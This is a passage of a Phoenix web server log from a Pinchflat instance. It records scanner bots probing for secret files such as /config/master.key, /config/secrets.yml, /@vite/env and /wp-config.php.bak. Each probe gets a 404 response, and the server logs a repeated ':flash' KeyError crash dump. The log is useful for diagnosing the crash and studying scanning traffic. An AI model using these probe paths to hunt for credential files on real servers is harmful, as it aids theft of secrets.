#PID<0.9669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9670.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBG2jQcV70YsAAcfC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.py", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9670.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBG2jQcV70YsAAcfC"} ], scheme: : (truncated) 15:21:53.770 [info] GET /@vite/env 15:21:53.770 [debug] QUERY OK source="settings" db=0.1ms idle=387.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.770 [debug] QUERY OK source="settings" db=0.0ms idle=387.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.771 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:53.771 [error] #PID<0.9672.0> running PinchflatWeb.Endpoint (connection #PID<0.9671.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /@vite/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9672.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBHaQ9OwQfmUAAcgC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50536}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9672.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBHaQ9OwQfmUAAcgC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/ (truncated) 15:21:53.857 [info] GET /config/secrets.yml 15:21:53.858 [debug] QUERY OK source="settings" db=0.2ms idle=348.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.858 [debug] QUERY OK source="settings" db=0.0ms idle=237.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:53.858 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:53.858 [error] #PID<0.9676.0> running PinchflatWeb.Endpoint (connection #PID<0.9675.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/secrets.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9676.0>, params: %{}, path_info: ["config", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBHvGy4uv1oUAAciC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/secrets.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50544}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9676.0>, params: %{}, path_info: ["config", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:21:54.094 [info] GET /config/master.key 15:21:54.094 [debug] QUERY OK source="settings" db=0.1ms idle=473.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.094 [debug] QUERY OK source="settings" db=0.0ms idle=324.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.094 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:54.095 [error] #PID<0.9678.0> running PinchflatWeb.Endpoint (connection #PID<0.9677.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/master.key ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/master (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/master.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9678.0>, params: %{}, path_info: ["config", "master"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/master.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBInhFLIEllMAAcjC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/master.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/master (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/master.key", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9678.0>, params: %{}, path_info: ["config", "master"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/master.key", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, { (truncated) 15:21:54.330 [info] GET /wp-config.php.bak 15:21:54.331 [debug] QUERY OK source="settings" db=0.1ms idle=560.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.331 [debug] QUERY OK source="settings" db=0.0ms idle=473.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:54.331 [debug] Converted error 